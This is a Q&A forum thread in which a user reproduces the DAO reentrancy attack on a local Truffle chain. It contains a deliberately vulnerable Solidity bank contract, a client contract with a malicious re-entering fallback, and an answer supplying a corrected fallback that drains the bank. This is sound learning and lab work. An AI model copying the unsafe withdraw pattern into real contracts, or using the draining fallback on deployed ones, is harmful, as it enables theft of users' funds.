Unable to use call.value to send the ether to another contract

Question

Block Builder! I create a bank and client contracts, in order to reproduce DAO attack event. The client can deposit, but can not withdraw.

I enclose the repo from Github here: https://github.com/wwang107/bank-client-ethereum

Overview of the my problem

I use the msg.sender.call.value(amount)() in the bank contract's withdraw() to make the transfer super unsafe. In addition, I put bank.withdraw() in client's fallback function. When the client call its withdraw(). I can see the transaction info pops up on truffle console, and the client's deposit at bank also decreases. Yet, the balance for both the client's and the bank's contracts remain unchanged as if withdraw never happened.

my contracts:

Bank:

contract Bank {
    struct Client {
        uint deposit;
        bool active;
    }

    address owner;
    mapping(address => Client) public clientList;
    uint clientCounter;

    constructor() public payable {
        require(msg.value == 30 ether, "Initial funding of 30 ether required for rewards");
        /* Set the owner to the creator of this contract */
        owner = msg.sender;
        clientCounter = 0;
    }

    function enroll(address _addr) public {
        clientList[_addr].deposit = 0;
        clientList[_addr].active = true;
        clientCounter++;
    }

    function isClientActive(address _addr) public view returns(bool){
        return clientList[_addr].active;
    }

    function getClientCounter() public view returns(uint){
        return clientCounter;
    }
    // add the deposit to the sender account
    function addDeposit() public payable {
        if (clientList[msg.sender].active != true){
            revert("the client's address does not exist");
        }else{
            clientList[msg.sender].deposit += msg.value;
        }
    }

    // transfer the amount of ether to the provided address <<<DOES NOT TRANSFER ETH
    function withdraw(address _recipient, uint amount) public payable {
        if (clientList[_recipient].deposit < amount){
            revert("not enough deposit to make the withdraw");
        }else {
            _recipient.call.value(amount)();
            clientList[_recipient].deposit -= amount;
        }
    }

    // return the deposit of the provide address
    function checkDeposit(address _addr) public view returns (uint) {
        return clientList[_addr].deposit;
    }

    // received money from the client contract
    function () public payable {
        if (!isClientActive(msg.sender)){
            revert("client does not exist");
        } else {
            clientList[msg.sender].deposit += msg.value;
        }
    }
}

client:

contract Client {


    address owner; // the client contract connect with the account who creates it
    Bank bank; // the bank that this client contract connected with
    int a = 0;

    constructor (address _referBank, address _owner) public payable {
        owner = _owner;
        bank = Bank(_referBank);
        bank.enroll(address(this));
    }

    function isClientActive() public view returns(bool) {
        return bank.isClientActive(address(this));
    }

    function addFund() public payable {
        require(msg.sender == owner, "only owner are allow to send money to client contract");
    }

    function addDeposit(uint amount) public {
        // addresss(bank).transfer(amount)
        bank.addDeposit.value(amount)();
    }

    function withdraw(uint amount) public payable{
        bank.withdraw(address(this),amount);
    }

    function checkDeposit() public view returns(uint) {
        return bank.checkDeposit(address(this));
    }

    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }

    // transfer the balance from the client's contract to the owner account
    function () public payable {
        // require(msg.sender == owner, "only owner are allow to send money to client contract");
        if (a<5){
            bank.withdraw(address(this),50*10**18);
            a++;
        }
    }
}

truffle console command and the prompt respond:

First, I deploy the contracts, where the bank and client are initialize with 30 ETH and 5 ETH

var b
var c;
var bankBalance;
var clientBalance;
Bank.deployed().then((inst)=>{b=inst});
Client.deployed().then((inst)=>{c=inst});

Secondly, the client makes a deposit and check its deposit at the bank

c.addDeposit(web3.utils.toWei("1", "ether"))
c.checkDeposit().then(res=>{console.log(web3.utils.fromWei(res))})

prompt:

1
undefined

Thirdly, the client withdraw his 1 ETH.

c.withdraw(web3.utils.toWei("1", "ether"))

prompt:

{ tx: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f',
  receipt:
   { transactionHash: '0xe3a3e17940d5519a4646edc0b0b9993e622b8a97536fa4633f83a4848a1b9f4f',
     transactionIndex: 0,
     blockHash: '0x26fa17c815692a9b5625317d7cbde345d6184c526e7d520710d9b193f3c9e0bd',
     blockNumber: 79,
     from: '0xfa3bb08b86a29bfe202666a86ffcae1dcdd9caae',
     to: '0x58ebccb7e3f807433aba1763c80e27d751c703ee',
     gasUsed: 14900,
     cumulativeGasUsed: 14900,
     contractAddress: null,
     logs: [],
     status: true,
     logsBloom:....
     ....
     v: '0x1b',
     r: '0x3f21a9c8f70a1eca151b5159e96aaaffbc798b1745ca2da2274b13cb678ced12',
     s: '0x4df586c2e41227633e51bd0b0e14b8bb67d1c51b584901c9a7de9a6a1ba363aa',
     rawLogs: [] },
  logs: [] }

Finally, I check both the balance of the client and bank

truffle(development)> console.log(bankBalance)
31
console.log(clientBalance)undefined
truffle(development)> console.log(clientBalance)
4
undefined

Originally, I expect the client should not only get back his 1 ETH, but also 50 ETH from the bank due to the malicious fallback function in client's contract. However, the bank does not send any money to client, but client's deposit value at bank decrease.

I enclose the repo from Github here: https://github.com/wwang107/bank-client-ethereum

Answer 1

I think there are two problems in your fallback function:

function () public payable {
    if (a<5){
        bank.withdraw(address(this),50*10**18);
        a++;
    }
}

1. You only increment a at the end of the function, so it's never actually incremented. When you call bank.withdraw, that invokes the fallback function again, and you "never" get out of that recursion. (Eventually the bank will run out of funds and the whole thing will be reverted.)
2. It seems like you're trying to withdraw 50 ETH 5 times, but there isn't that much ether in the bank, and the client isn't allowed to withdraw that much anyway. Both should cause a revert.

Because of either/both of those bugs, your .call() is reverting, so no ether gets transferred. (The bank ignores the return value of .call(), so it doesn't know/care that the call was reverted.)

This would be my fix:

function () public payable {
    uint256 amount = checkDeposit(); // this is the max we can attempt to withdraw

    // the bank may not have that much left
    if (address(bank).balance < amount) {
        amount = address(bank).balance;
    }

    // if there's more left to withdraw, do it
    if (amount > 0) {
        bank.withdraw(address(this), amount);
    }
}